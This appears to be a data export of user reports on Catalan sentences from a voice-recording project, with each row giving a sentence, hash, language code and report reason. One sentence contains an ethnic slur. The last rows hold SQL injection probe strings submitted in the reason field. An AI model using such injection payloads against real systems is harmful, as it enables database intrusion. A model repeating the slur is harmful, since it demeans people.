grammar-or-spelling Un grup de persones a una granja es prepara per donar conduir 5d6f14616ffd7ccca4c482769668350f609ab47cb8625a66efcbd10c8584a0e5 ca grammar-or-spelling Ella està impressionat a descobrir que és realment el rei Thrushbeard. 5d5c2470c6aa29fd8c597827a2ccfff8aed599d98f69411a060066f26dedc3ac ca grammar-or-spelling Per Nadal sempre intento fer uns quants de festa. 5d6c4d620910d93eb903169127b5bb154586853cceffd1ecd7537265a6bdc4e8 ca grammar-or-spelling A copia de no dir-ne res, es va tornant venerable 5dfec1d4b590abdeec96086ca525eb8dca1946d152599144df9b29edf5800080 ca grammar-or-spelling Què li va dir d'assaltant de Kaspàrov? 5e7a6019f9650abc5db13c402df15350d166985458ca6a6556b9d6fcb5d3ca7f ca grammar-or-spelling Al capvespre va obrir foc sobre contra un avió suïcida que es llançava a un transport d'alta velocitat. 5e72810c402f914f65a85d5802a303e839ff28c67ccd417ec0ecd82178bf3eda ca grammar-or-spelling Per Sant Jordi na Fiona vol anar a Sant Feliu de Guíxols. 5f7d577ccfca604176bf058538d2ca116c1eb2dfb03b89faf691b2682cfa9b93 ca No funciona el botó de gravació El vint-i-nou de febrer en Pol irà al metge. 5fffefc0a84a11e84b4519131447216aba3a964dfed13e9830291c11eb9d8256 ca grammar-or-spelling Dissabte na Gina irà a visitar mon oncle. 5fbf88f0f8a9cd65619afafdd2f0292670b56910c6f857d51bce7ffd02b18928 ca grammar-or-spelling Demà na Nina i na Clara iran al cinema. 5f5ddc2e380f69e64c15e5923a4a71032c64aefde6e6509e694d9629490385a0 ca grammar-or-spelling Dissabte na Gina i en Quer iran al Montmell. 600d6044e9f46257b981be085bff0a172b2feba24865cae239b68e4d32c8d1d0 ca grammar-or-spelling Vull anar a Preses, les 629577d87f00afab5d20218da126a3134ce0d959d3767041010a760bf57c225d ca grammar-or-spelling Aviat l'amenaça de Grendel serà eradicada. 5e7143c63ed33e40dfd22d55e42ffedb324f39ab75777aa5bede63a811719b8b ca grammar-or-spelling Aquí va estudiar les escultures antigues i les obres dels mestres italians. 610cc56b8520baa22c64febb5a801baa34ed951473c9bc99b9256683505d7216 ca No puc participar. Al prémer el micro desapareix Alternativament, es pot dura a terme la reacció amb cianat de plom i amoníac. 61237f97059988417e204258e87ed2ba340c3c0937fbb8d7234c28f18d9ebce2 ca grammar-or-spelling La xarxa inclou membre de la Unió Europa i els seus veïns. 614fb02b0b02f430c7cae925d7faa1dd2a451dfa9ea59edd75209c688bbb78fb ca grammar-or-spelling El deu d'agost na Vera irà al metge. 619980e89513d69ecf7b6dd6481c7eebf8d39cef9bde2ba9f7ac3001972cb268 ca grammar-or-spelling Takatsukasa Kazuko va ser succeït per la seva germana petita Ikeda Atsuko. 61783b5dc07f44cc93c3d498880f5b04fc29dc1913842b9e1ce55013356973b1 ca different-language La xarxa inclou membre de la Unió Europa i els seus veïns. 614fb02b0b02f430c7cae925d7faa1dd2a451dfa9ea59edd75209c688bbb78fb ca grammar-or-spelling A les eleccions generals, Clements es va enfrontar al fiscal general de l'estat, el republicà Eldon S. Dummit. 616f17c95b30d20e3f647c4fbb48ee350323124a3ed1e2ef733571e47d93b503 ca different-language A les eleccions generals, Clements es va enfrontar al fiscal general de l'estat, el republicà Eldon S. Dummit. 616f17c95b30d20e3f647c4fbb48ee350323124a3ed1e2ef733571e47d93b503 ca difficult-pronounce He d'anar a Gualta amb autobús dilluns a la tarda. 61730204e085fc04d12cbcc3a55a97d75d1e16da8d339bb6142ca4573654eb1e ca grammar-or-spelling La nau espacial "Mars Global Surveyor" va fer fotografies de camps de dunes fosques dins del cràter de Herschel. 611015b756fac40deed4ce551be7d85dc71e3e409167ef699b7c7679bb1b0d6b ca difficult-pronounce El meu fill es diu Mohamed amin: ema, o, hac, a, ema, e, de, espai, a, ema, i, ena. 61a14c9cd2c395a4c67ed07e00c26b47496edd040c2a3d8122aca0e3256b0209 ca difficult-pronounce Dissabte en Cesc irà d'excursió. 619a1d1d28f20838853b22795a3c27a798ffe9955d577fcfeb11e233ab5a9321 ca grammar-or-spelling Les poblacions més grans d'Achterhoek són Doetinchem, Winterswijk i Zutphen. 61820171a3924e7eef582c439c5a8563bfe76886d7c2a0b94a52ddef8d891673 ca difficult-pronounce El deu d'agost en Gerard i na Bruna iran a Benimassot. 6176cf7b16e436ab3348d54cf87bfca54965cf099847a7155f854c89f5f1892d ca grammar-or-spelling Divendres en Quer i na Fiona iran d'excursió. 619da17e13c5575fb9b4798114fbe61111a7d8a57fb675eb0f46c5fbb59d5db7 ca grammar-or-spelling La fauna avícola de Lochinver inclou el becut, l'hematopòdid i la cornella emmantellada. 613e2feaa62edaf8691c42b81b61c2aceafbe9e0dbcda22e4cc0a96551896b7b ca difficult-pronounce El rabí Ovadiah Yosef sosté que un Bat Mitzvah és també un seudat mitzvah. 61981f014c77e0e13b7b14cef30e8c28e64ff1f4de2f4aa40c9b6c29c7ba570b ca difficult-pronounce Està organitzat per Strafford Area Chamber of Commerce. 61853dd980f1f43ee9d4d8063f8f396e0d3227387c827ecf05d1b35b3c8cdcc3 ca different-language Per Sant Jordi na Berta irà d'excursió. 61a0abf49b52e90739930af6551e8be82a6529c4e158d0ab0dfe12e6e4a5df26 ca grammar-or-spelling Per Sant Jordi na Clara i na Carla iran al metge. 61a53aa82bd952135b0b3e304b63ec9e221bf4d82d89358e33e6d057425a4e43 ca grammar-or-spelling Això, a la seva vegada, va substituir el Soulanges Canal. 617e71bf66f9f95208ffc14ee70211f7e13a542cb28f8a8d3961b4252c19cea5 ca grammar-or-spelling Això, a la seva vegada, va substituir el Soulanges Canal. 617e71bf66f9f95208ffc14ee70211f7e13a542cb28f8a8d3961b4252c19cea5 ca A la seva vegada, es calc del castella Per tant, dic que no hi ha temps que perdre. 61ab22e45103665d45d30c47ca046ea0dfb67725c357a944a8296a53a62df469 ca grammar-or-spelling Aquella edat que comences a recordes de nen. 60d863f9ea87344c338c5e10d94ffd0aee9d1ee999021fadfc461f69c62b9d82 ca grammar-or-spelling El parc hi ha animals salvatges natius d'Illinois, en un entorn natural. 619bb45faad0a4903389d7bdf91672c0b1d6a596c0a45b1e974300fab3b8f863 ca grammar-or-spelling Burnmouth està dividida en dues àrees: Burnmouth de Dalt i Burnmouth d'Avall. 61645c35cd04e7d57dc13384ee31811c2d3eeb22a01a76fe3135b1cdc336bd1b ca different-language Cent noranta-dos com, en té prou amb mig got llarg de whisky. 62288d499a5b438ebbcf50c013fa6d823d492d6b8d5c307082190cbced53e22c ca grammar-or-spelling Dijous na Frida i en Rauric voldria anar al cinema. 623e4ba074fd01baa3c5340b201aba928ad5555d4a8c7d722175912435cb087e ca grammar-or-spelling Els cantants litúrgics de sinagoga tenien una veu molt operística. 6240b3a5df7f5eb949b6d352c572b243b1ebcabe44c205cb69d13bbab9004fda ca grammar-or-spelling La tarda queda així amargada per la seva malaptesa sense en el la petició. 63299eff6239efcf7a8fb0e1b608e0fb94339a43d9fbeac83cb64d368af70151 ca grammar-or-spelling Els perills venien del migdia islàmic i la situació de Sant Miquel era immillorable. 631b4d6862fb567b0c10d3401c138528eb95364d8cb6625282f3d7c0565be890 ca grammar-or-spelling Per tant, es va decidir començar a treballar para Saturn. 63f494f54892f912c0b9bb477987911e298d50694010e4d800bd7ba38bde8cab ca grammar-or-spelling Vine aquí, moro de merda! 64976a897c8218677b1bd185706d29588457c4201e61577974f44c5cfef0de25 ca offensive-language El deu d'agost en Nico i en Martí iran a Sant Joan d'Alacant. 649de9b6706a137b8155b43def8ab201c39d7bd7f44170c33903219e64b5ee6d ca grammar-or-spelling Dimecres na Carlota i en Llop iran a Carme. 649ef1c5629069eaa364d6b4a03d3418891bc15eccce0f6ed8953ae44a6ec6af ca grammar-or-spelling El nou d'octubre en Guerau irà a la platja. 64a0a3d40582a07e850a91dc0de65f00b12729f928552435a969e502208156d2 ca grammar-or-spelling El deu d'agost na Gal·la i en Cesc iran a Vilada. 64866ce6d482664e061988484ac8533b89a6b82eb9ea098e25f00c902970b0e6 ca grammar-or-spelling Va servir de capella del convent de les Carmelites fins a la Revolució francesa. 649946e94efe588fe84ba76275c16d00d9873507665ce9e324ef77740c6bfdf1 ca grammar-or-spelling Dimecres n'Oriol i en Milos iran a Alfara de la Baronia. 6499ac6045443bb13c7cbb4b92cd9424bcb7235c5a2810d96214871aa643b200 ca grammar-or-spelling Per Sant Jordi na Gina i na Laura iran a Gallifa. 64aeb96d231b04eefa9c341db76cc6c076f04c5a0793b0c1f8b852cefb50a013 ca grammar-or-spelling El nou d'octubre en Maria irà a Castelló de Farfanya. 64975e4b3bb621647e175afa0a4130df6a5ed8b980c6a22172fe07c4590ce272 ca grammar-or-spelling Fins aleshores havia format del barri de Canyet. 64948cab7bc369268cbbed7c9b892ce065e10a7c51e0a8a747f33d0dfce23f0b ca grammar-or-spelling Detenen totes les monges i les condemnen mort. 653d09f457fc50124daf2f907e7cbd46d66b08304621a49cacac0a8b4fa8f819 ca grammar-or-spelling El deu d'agost en Sergi i n'Oriol iran a Rafal. 654f0dd10c0d076088125fd4531693619bf4c95f37e6194cdb8a487e87b1ba21 ca grammar-or-spelling El vint-i-tres de maig en Sol i na Lara iran a la biblioteca. 6582f2fe7ee4e9280df0ea5a8469f40a9d31c17ef74c6880e2ce7f483531e84a ca grammar-or-spelling Per Sant Jordi na Dúnia i na Ramona iran a Vic. 6584f017a15200052be98a4e1754cfb727d02a881bb7d6b502caa915e1c984c5 ca grammar-or-spelling Prop de l'est està la frontera amb Wyoming. 64bd6deaf0c7068fceaab987825a089c27f72382b391d1c8cc99e95ea4b78f62 ca grammar-or-spelling Al seu voltant es va anar format el nucli de població. 65d7dee861381ab7e148f326964b6efdd33794b3f0b2dd48e1dc8689f2082fa0 ca grammar-or-spelling L'artista d'aquest apropar-se al mural i va començar a dibuixar. 660d23cff45bce478ee5466b0a47d43abab6b872fa0fb6d6fbe76db3e2065766 ca grammar-or-spelling Un home que porta una camisa vermella seu a un banc de ciment i llegeix el diari. 663fdd037d1185ed643c88546ca74c93d37a1f607546982ca92a63487d34d97b ca No aconsegueixo gravar res Demà passat en Max i na Gina iran a la Pobla de Segur. 666c8074fd57151561e4641f39ab4cfa0886e36029494581387a8e458c91ad69 ca grammar-or-spelling El nou d'octubre en Lluc i en Xavi iran al teatre. 665d601acfa63a286ad3a46c3858192118cc766c9ef39b36ff0628ed6e11f858 ca grammar-or-spelling Per Sant Jordi na Cira i en Drac aniran a Vallgorguina. 667911c872ab07444dd5a08d57f33a4c3a469f1276cf63c635e8909da0e45e42 ca grammar-or-spelling Ester Ribera Boter és una jugador de voleibol platja nascuda a Sant Pol de Mar. 66edfcd7e67b36ed6c9b046dd689087f4786960d8feade3bd7511dd3e10e8e65 ca grammar-or-spelling Alguns d'ells han tornat al servei de la West Coast Wilderness Railway. 6780831c32116ab1a7322adfd652e41464f532ccdd9d89e8f232f75001a52fbd ca No em funciona el micròfon. I no hi puc participar Com ho faig per anar a la jardins de Mossèn Costa i Llobera número seixanta-tres? 6781f19d5e97903fd1eeb8686e29f34f9abb52d54a63d771557324fdfbae5dac ca grammar-or-spelling Com ho faig per anar a la jardins de Mossèn Costa i Llobera número seixanta-tres? 6781f19d5e97903fd1eeb8686e29f34f9abb52d54a63d771557324fdfbae5dac ca grammar-or-spelling Per Cap d'Any na Dúnia irà a Benetússer. 68216deb2714341af551790376ad93c588d410230b7ad50e6d75eb5b898d3130 ca grammar-or-spelling Finalment la llista ordenada de referències de matrius s'itera en el darrer bucle. 68f4182d2abe1f883a0297353e88baf7753b508b0c8b8e61cd7270bf28ee79df ca grammar-or-spelling Quina és la millor manera d'anar al Rourell sense agafar el metro? 68f99d5f351c458dd76c9d7d1f5040ee33ebea9f613f912fec36e5b5f297e3c8 ca grammar-or-spelling El vint-i-tres de maig na Fiona i en Roc van a Torres de Segre. 694f42d53d35a68db97695e5204c211355ed369d62ff1a833db5e6ed514bf2d5 ca Em desapareix el micròfon. No puc enregistrar. "But, in the absence of pink, here's some blues". 68d52ad767dc04de5690a4b76fd1df1ab25c6259d382735b2aba527b4b201aef ca different-language "Encyclopaedia Rhodesia", College Press, Salisbury, Rhodèsia. 698194e3ee1d66179c5d33a9989676be20578f6660c31ce4fabb1e519b818aa1 ca different-language La pedra del portal és més fosca que el de la finestra. 699d38982386d00b53f7652366278fd95d07ace113bf4bdea483b17a2a563311 ca grammar-or-spelling "Encyclopaedia Rhodesia", College Press, Salisbury, Rhodèsia. 698194e3ee1d66179c5d33a9989676be20578f6660c31ce4fabb1e519b818aa1 ca different-language Voleu una?? 6a2a3ce2c7a8aa26780815ab61143f659f8bb15a4c005a3840f9eb58807b29b0 ca grammar-or-spelling Aquests erros juntament amb els costos de llançament va fer que es cancel·lés el programa. 6adcfba95fa73ed1577924a41e08239c320e70ff7bd21949d2156afe225645f8 ca grammar-or-spelling No hi ha tarifa mes barataa¿. 6b617f28fa479b9f5c9f9974f278cb108e51cde17f79699eee0516d2cb3d435e ca grammar-or-spelling El nou d'octubre na Sança i na Judit volen anar a Argelaguer. 6bb3b6a50706512096c3f21794c03b2eaae974fd59dda494530dd7e1bf127270 ca Na En l'episodi, els nois participen en el reenactment de la guerra civil del parc sud. 6cdcf8ef5f9de9ade2223b7ce69b02ad14e90952e8fd34459b79ded171218f46 ca grammar-or-spelling El vint-i-tres de maig en Maria i en Gil aniran a Emperador. 6ccdd710893bfc740663c2c0b23bc26d9301c7540ae43de129da22c6cf0edf78 ca grammar-or-spelling El monjo que porta els números al convent. 6d031fc06b8fe728bd1ba3dd93058c656e67b9cc091e3ddfbbf709ed7dca4515 ca No se'm mostren les aportacions que he fet, ni el percentatge diari com abans... perquè? "Em va prendre per la sema minyona", va dir-se metre corria. 6d8932a7d2aea403904ac4bc1979e45cca55d3ed2dff29eb719ca66c23649b6e ca grammar-or-spelling Tos semblen ser falsos. 6dfa234a5d8fb13c73df9f19c90a2e1c7f537f3afd5c741856678b5ade88ff50 ca grammar-or-spelling Les seves obres destacades van referència a les guerres iugoslaves. 6e306c75b7575a233449169e8d41accf0f4d496dc2126e66b57a82d8742f3330 ca grammar-or-spelling A l'edat de bronze ja hi restes de població a la zona. 6e713c3ef6125a4e6dbec3f2702a87c9863f5cb43425d4445a9d071f85ba0297 ca grammar-or-spelling El retaule va ser construït al per Pere Oliva d'Urgell. 6fe8ec4e337f5e28ee128d40b8743bb9dea844234ef9144b15bb20ac35a2543f ca grammar-or-spelling Els nous propietaris van canviar el nom de els Hellions a Americans de Memphis. 6fd31400aa6be06954d9a3e57a328b9dfbe1ee6ea1c8307a410aaf3cd4b428f6 ca grammar-or-spelling Per Sant Jordi en Biel i en Gil iran a la biblioteca. 7017c42f2f00d8a5f2bc366da6e574d200a30e4082f85151197c75ce6a7de73a ca té una paraula en castellà També caçaven cérvols i senglars en els pantans i cabirols a les estepes. 70138ed225295d2e0d8673f89c209306f18bea8555c2e40f75de69f14b0fb731 ca grammar-or-spelling La reina s'imposa per la força i obliga a la seva antany preceptor al suïcidi. 70538279806cf5c66dc80176d8f2fdf819ead778872da5fdfb382108fe71dcb7 ca grammar-or-spelling Les femelles ovípares posen al voltant d'una dotzena d'ous. 70556e1987e263710be3273b569c7ac5f664a319ee56d742566c33b5ea1aa03a ca grammar-or-spelling Woodbury, Charles H. i Elizabeth W. Perkins. 703ed6873ec8167c8c420a506069fd503c217fba93cf8323c77f465e286812e4 ca different-language Els àrabs iranians en particular han experimentar discriminació racial. 70922d7d48569ba1f83f5a31a52b703b2c9a13d2732b59aed2781e3fbe4e7319 ca grammar-or-spelling Moltes portadores disposaven de tapadores de fusta, més menys ajustades a la boca. 709092d747de9757ffd7bcc131f2631bb99ba7ec860264b0e1044a0b79beb8fe ca grammar-or-spelling Prendre molt el tabac és perillós per a la salut. 71861746394bffb4f3ec782d9d4e9b64214f82aaadf62c3c822472d0d59fbb9c ca grammar-or-spelling El film rebut una acollida tèbia de part dels crítics. 718190c28536bb1aa4bff0cdcf2bc784258d56ad2921339d1265e2ef2a1ffc49 ca grammar-or-spelling Opta en aquest període pels grans formats de colors terrossos i matèria densa. 718a9c2f1b8bffdba3d46b475acd6ea0b1cc7c8d8a0cea3958ca41844df858fb ca grammar-or-spelling Puc fer té i pa torrat. 71b389e9454de9ecbe5cc944e4a678a981e753fb659804c2a5e996ed079d32eb ca grammar-or-spelling M'agradaria anar a Vall de Cardós amb trasport públic. 713bd70ed6d87db38d3f287aee3fdc2b3672fe166699e393eaaa735a9f706df0 ca grammar-or-spelling Només sortir del campus principal estan l'estadi de futbol, el de beisbol i el centre d'alumnes. 73d1dc3bfec15054b29b994a3d563a03bbd7d2a5cc39ecd7911b825df3abd8b0 ca grammar-or-spelling Setanta per cent Ha passat un mes des que vam fer la primera valoració. 745e653e9df3165d2df675f65167ca68692254f400a8adb4f924cee864ab36a2 ca grammar-or-spelling Per Sant Jordi na Damià va als Poblets. 747d6273c7f12d6de269ea348fd9ba0b5d635b8932cbb57161b7800927381cf1 ca grammar-or-spelling Dilluns na Damià i en Mateu van a Cotes. 746f433ac19d6c42dfbfe916e32c83d1201b7fc79859b499828ab9dc82dd1c74 ca grammar-or-spelling “De tots els debats pot eixir alguna cosa positiu”. 748d6504e53e4c35bcfccd3a5c9b3b61b171550056bba5cd491ee51ab1131d65 ca grammar-or-spelling El decorador hauria d'haver protegir la catifa amb sabana per protegir de la pols 75437eff5798e56403e150f3c88ff74ba1a4063ae8ed661f3e58bd980cacf4aa ca grammar-or-spelling Un descodificador restableix el flux original de la qual remenats. 759ae81181fc3741fb718eb261113ffb0a9a0ef8df147dcfc25d2e6faa9e9b90 ca grammar-or-spelling Es va arribar per uns esglaons de la carretera al costat pont. 75b26f50b31bdf8003b1520979865770f926130f936f238b7a6f6edefc59a9c9 ca grammar-or-spelling Alguns dels quals prenen el nom de institucions o persones teatrals de prestigi. 75fce85eeeb2d00f3391088c0bd4b7777c798f24e9e784ae4be259e3b6d9fa5e ca grammar-or-spelling Per Sant Jordi na Damià i en Mateu iran a Olot. 7630df65c1139e829449beddcdcd209c42dd4d27508de249ec750dab441ba5f5 ca grammar-or-spelling Per Sant Jordi na Ramona i en Pep aniré a Llinars del Vallès. 762044678b951806ebb231d04e1be4ab0382c25642618dedd524915e22b7c094 ca grammar-or-spelling Aquest Cens est va crear l'any passat. 38bf7293853110be87c473efd0b103a6ab4c674aed2a34b34b366d42b2c35f39 ca grammar-or-spelling Cal tenir en compte que el codi del tràmit. 386171359fee9d93b01d93d40125ed4aa70bb0cdbe1b0834f5a9afe72eb1780b ca grammar-or-spelling Tan cert com que el sol sort cada dia. 43e239015dd676b6e586ebc8ae70f01a66fe96545d34331007aa6c3153f21642 ca grammar-or-spelling Pintar els cinc dàtils a la fatxada. 28868887d4b52e8c4e873bad88cde5b9e4c7c400fdc9a8dcac8b981211d0a15f ca grammar-or-spelling No li caldran gaires gallines per la seva mort. 5214b9c80ac24f88b8f7ecd209ec6b636591ca87ebad58e031fcbceecc8d2cb6 ca grammar-or-spelling Quins són els tractaments de dades que fa l'Agència. 5a08b3ac103c60cd20e578cc0536173dd7c412ecf0fbf92640c396e13b1c4466 ca grammar-or-spelling A condició de. 5b7727eac674222eca531ea2e73b8eb9bf3a86677d75f088eb82d1df1af137be ca grammar-or-spelling Una mà de. 64c1f717bae18e9e97c48acd2d38edee0b1c9b7cb63b9ebe47f31396c92c454f ca grammar-or-spelling Per Sant Blai una hora de menys i una altra de mes. 7c4af8941978ae90cd3f6414bb4411630a3fa718d80fd311d978a46f76e0e209 ca grammar-or-spelling Si vas a Llaurí, el tocaran la flauta i el tamborí. 77c5be37888e80dec5aee59366a8efaec8fc4eb69e8b8ffda3421dc1805b9932 ca grammar-or-spelling Perdre barca i bolig. 2e68017a57c68a5a19266617ff381eb35de3f5cc26b5fce55ccce449c8df9ba1 ca No es guarda Fa més una plomada que cent raons. 3101b0ad5d6310a13a9fb013d609956c77c9ee06486dc17c9d8e4f798b891a20 ca Es troben a faltar expressions pròpies de les comarques del País Valencià Catamarruc i Planes i Margarida; Beniarrés i l'Orxa, vaja una eixida. 3f18d46a939d8e5efa70e9986c4dd03abb164b07a67fb7cf8c0f6b5732775990 ca No queda gravat El refugiats també necessiten la higiene. 5f4e412fd1086f091636f410653b6336e6c737133c4c7d600ac992fd46f9a4a1 ca grammar-or-spelling També ha treballat con a professor substitut d'educació física a escoles primàries de Seattle. 770ea1a34c52e86154d94fb292fa02d0b877f65535a027fd4fb3b378640e9277 ca grammar-or-spelling Per Sant Jordi ma germana irà d'excursió. 76e66b2e17f012368a8e901e0687a0d1df7fd1bb42645e45576fa275af070469 ca grammar-or-spelling Posteriorment, va estudiar a la Universitat Estatal d'Ohio. 77cee90bbaf959e650051b06805c0172d7ed2ff20eef1fe0e4aead5ec6f7a219 ca No puc tancar la gravació pitjant el micròfon de nou Dema aniré a La Pobla de Lillet ca926e15ff09feff8e58bc234a1060da94975aa269d8c4511bed5cc8bd6e18be ca grammar-or-spelling Dema aniré a Cornellà de Llobregat 63a278e4a0ed6abd2d5ae187372e4e0ec255c5da854bac2eab64e35e910cbce6 ca grammar-or-spelling Dema aniré a Fontcoberta 46d26bb3e4917eb7ecad3e68488517ec12c06dd8ed3ba2e675efdfb362eb5489 ca grammar-or-spelling Dema aniré a Castellnou de Seana f868452d997052122125e582454cc9cb7f43afb5e1f8acda79a606002b79e8cf ca grammar-or-spelling Dema aniré a Castellví de Rosanes 520fdf6262b712226bcbdfab0c0f09e57d254e313115c67a8fc9649e980b5657 ca grammar-or-spelling Dema aniré a Ger 1f100f19adb71b3fe92bcad9be9f474d9eca04439c0d02ab6f7d051d1fe77a5d ca grammar-or-spelling Dema aniré a Sant Jaume de Frontanyà 158eea01b02afaa7ec46163d16d815e7c1b9c18ad891c7eb6d70191e4534aa1a ca grammar-or-spelling Les fustes que més escollides són les de pollancre o paulònia. 78070b172e5a3996d7a49be44f02abf66237fe509e70d178543e03c149d0be59 ca grammar-or-spelling Dema aniré a Godall 103251608c55392be5a3268c16ad3af0ed59ca87a4055721a93972ead289533b ca grammar-or-spelling Eren uns llibres de text de tres de primaria. 786ebad690db21f209f17e12dc90a99c64dc07192398852892d72dc20df093dd ca grammar-or-spelling Vull cancel·lar el telèfon fixe perquè ja no el faig servir. 78f5b463d20929a65ad260e687b69f1aa3aeff1c9081e54a77e6141311c0c206 ca grammar-or-spelling El nou d'octubre mons pares iran a la biblioteca. 7906e8bd6a1229cbf3eecacccfb99830b8bafade0d3b46e5fdb0a640bd641ce2 ca grammar-or-spelling Aquests fragments es transfereixen el control mitjançant diversos mecanismes. 79095c3e98299f5b227aa21cf365e65f1fe820b26861dace458dce7549a1d753 ca grammar-or-spelling Va ressaltar la part emocional a costa de la part cerimonial de la devoció. 78e9339e0cc7a1c5884c7826fe2b23cb4d2385bfa7bf2de9200f5f6a72069401 ca No hi ha opció a donar accés al micròfon. Diumenge en David i na Dèlia iran a la Vall d'Uixó. 79eb33da87009e098978a48eb2042672d270cd16ac2c4253281a2d2c89eb0db4 ca grammar-or-spelling Sí, la comanda està cancel·lada. 7a3af26553a4d9a1f7972570b578b0abe61d31e0ed84f859d863475ff0563e3c ca grammar-or-spelling Va agafar-lo amb conte de que no li caigués 7a41c6e1e0d6d6386cc67d1e6515c8e5218443bcaf8f0b19b5077a4717ce76c6 ca grammar-or-spelling El deu d'agost na Clàudia irà al Poal. 7a007347e97be72662089d0eb324042babdda101f20f8b6bf8797d49680ae41e ca grammar-or-spelling Com ho puc fer per anar a Sollana amb bicicleta? 7a14d0384ed046955d9f520483cbe5b65f8262304ccd002790fdb35e30e9a912 ca grammar-or-spelling Actualment s'ha restaurat la portada i l'interior. 7a1579c9acd80e53b84732d85850efd82fe2ee67bfdc11f1d09163ee91e48a6b ca grammar-or-spelling Ha dirigit i publicat diversos diccionaris i realitzat nombrosos treballs sobre didàctica de la llengua. 7a14904f0eb899191cf3f1e7f1c1b8ac0f5b1450eae66fbacc607e1aea60ef7a ca grammar-or-spelling Viu entre el canyís i tota mena de vegetació litoral. 79f90445297235fcfabb229a5a810b044a3fb2f4d497e2516d756e7287ecfb1d ca grammar-or-spelling Tot just havia complert els vint anys, marxà a Mèxic d'on no tardà a retornar. 7a3c8c835b1cb228139458297b5714bf942ecfdd3c9a30446236e9182f9df418 ca grammar-or-spelling Els ulls es troben profundament enfonsats, la boca entreoberta com al moment de l'última exhalació. 7a39376e4e0780dec864aa2b9c96a8796395e771248053a351fe2e725438db5c ca grammar-or-spelling Amor de vell no dura gaire. 7a4c4d190cc1037daaf31a17a45b7f40ac81b1a024ad7ec1fc19d27ac380d1d6 ca grammar-or-spelling Presideix una imatge del Taumaturg universal en fusta policromada, obra del valencià Serra. 7a2bb86252c889416411fcc5b58de75a787799cfc6897cfa8eecb39839592a79 ca grammar-or-spelling Adrià hi ha ver construir un petit temple al costat de les runes de l'antic. 7aac7344cc9e0fb94008d754e28a6834495f2409d1c31e6bcac27af8ba52eed9 ca grammar-or-spelling Aquests s'utilitzaven contenir un llum d'oli per a il·luminar la zona. 7ab213d8149eb91224f8f2d70333030183344d76642e256d16d944f5e564f2c4 ca grammar-or-spelling Tres oficials de policia i un civil estan a la vorera. 7ad7599831d8d6469421f213b799e311a3a5b3b3d2a7ae4ae5292097210a4d9a ca grammar-or-spelling Cmiljka Kalušević va ser una jugadora de bàsquet sèrbia nascuda a Tarragona nascuda a Tarragona. 7b6e3fb09e50d746452294b7141e29305ea0b5f042dd1290081888f76d6749c0 ca grammar-or-spelling afegeix aquest artista a la meva llista de reproducció Nit de noies 7b91ee178ca6589f9b0f96795058f8ba29ff3a70b3adea76c039435d3e259193 ca grammar-or-spelling M'agradaria anar al carrer de Plegamans amb trasport públic. 7b600691dcab61f902118be22edc23c3360d15f2d413322aecd6cd84a2d5c376 ca grammar-or-spelling Els metalls del grup principal en el compost organometàl·lic sol ser estany, zinc, o bor. 7c214fadf8f955003e90995972ef13ce6b7e57e9b995f84706a84cd4d46bb320 ca grammar-or-spelling He d'anar a les Masies de Roda amb trasport públic dissabte a les quatre. 7c23790c03575804b23fe0b1a3feec42691b1c4000c6279ece9742c133a1352d ca grammar-or-spelling Tenies unes fortes idees polítiques que defensava amb ungles i dents. 7c22f75c69575fb47629e5da51be2522cbd92888940a18ae06fd5937d23775c1 ca grammar-or-spelling El dos són pobres i estan endeutats amb altra gent. 7c327d6b47b767c8449d207dc1119086ca9e0e6ba873606744eba917c6d39322 ca grammar-or-spelling Jo exilie, incapacite, encorde, endomasse, intente, esbrosse 7c1b20430954aa7d8764ab6f44d76cbe155c741e8fdcb1181cd22975adffbc88 ca different-language Diumenge en Joan i na Lia iran a Conesa. 7bd68bf2a5721be53a93d7702e8334eb17f602e3f8552e71b49307607761c07e ca grammar-or-spelling Per Cap d'Any na Vera i na Xènia iran a la platja. 7c37e8fff0576d7a905d4d38ac4f9a1270413d69ff3d6dd05e7503e3a62dcd67 ca grammar-or-spelling Entre els llacs que fan aquest so hi el Llac Sween i el Llac Caolisport. 7c423ce25874e11517925c0160aed34da2e1b861676c2cc7cadf4a1c051c4f32 ca grammar-or-spelling No se sent gens de soroll. 7ddd072785a96b79f545a4793cc0e1a99d90a9984b6bd0d11f6f4858dcff701d ca El botó de gravació de funciona Encara hi ha un poblet prop de Beirut que s'anomena Qabr Shmoun, "la tomba d'Eshmoun". 7ec6fbf1d63c24d92c49d5f8cf42dbc32de2fd14e8404d0d7568520a00f9bcc0 ca different-language Tot i que actualment està escapçada, presentava merlets. 7f3160223b0d46d11516bb6ed0374199aad87b45dd488f56005d3a11addbc381 ca offensive-language Li restà reconegut pel favor rebut. 7f1df1b6f2882f480d102e9ea304638ac15d0fdf1ae8c9f53c0a87bab7fc2ab1 ca offensive-language Tot i que actualment està escapçada, presentava merlets. 7f3160223b0d46d11516bb6ed0374199aad87b45dd488f56005d3a11addbc381 ca offensive-language Tot i que actualment està escapçada, presentava merlets. 7f3160223b0d46d11516bb6ed0374199aad87b45dd488f56005d3a11addbc381 ca offensive-language Tot i que actualment està escapçada, presentava merlets. 7f3160223b0d46d11516bb6ed0374199aad87b45dd488f56005d3a11addbc381 ca offensive-language Tot i que actualment està escapçada, presentava merlets. 7f3160223b0d46d11516bb6ed0374199aad87b45dd488f56005d3a11addbc381 ca offensive-language Tot i que actualment està escapçada, presentava merlets. 7f3160223b0d46d11516bb6ed0374199aad87b45dd488f56005d3a11addbc381 ca offensive-language Tot i que actualment està escapçada, presentava merlets. 7f3160223b0d46d11516bb6ed0374199aad87b45dd488f56005d3a11addbc381 ca offensive-language Tot i que actualment està escapçada, presentava merlets. 7f3160223b0d46d11516bb6ed0374199aad87b45dd488f56005d3a11addbc381 ca offensive-language Tot i que actualment està escapçada, presentava merlets. 7f3160223b0d46d11516bb6ed0374199aad87b45dd488f56005d3a11addbc381 ca offensive-language Tot i que actualment està escapçada, presentava merlets. 7f3160223b0d46d11516bb6ed0374199aad87b45dd488f56005d3a11addbc381 ca H75wVn1s Tot i que actualment està escapçada, presentava merlets. 7f3160223b0d46d11516bb6ed0374199aad87b45dd488f56005d3a11addbc381 ca -1 OR 2+962-962-1=0+0+0+1 -- Tot i que actualment està escapçada, presentava merlets. 7f3160223b0d46d11516bb6ed0374199aad87b45dd488f56005d3a11addbc381 ca -1 OR 2+555-555-1=0+0+0+1 Tot i que actualment està escapçada, presentava merlets. 7f3160223b0d46d11516bb6ed0374199aad87b45dd488f56005d3a11addbc381 ca -1' OR 2+221-221-1=0+0+0+1 -- Tot i que actualment està escapçada, presentava merlets. 7f3160223b0d46d11516bb6ed0374199aad87b45dd488f56005d3a11addbc381 ca -1' OR 2+383-383-1=0+0+0+1 or 'al32YtXU'=' Tot i que actualment està escapçada, presentava merlets. 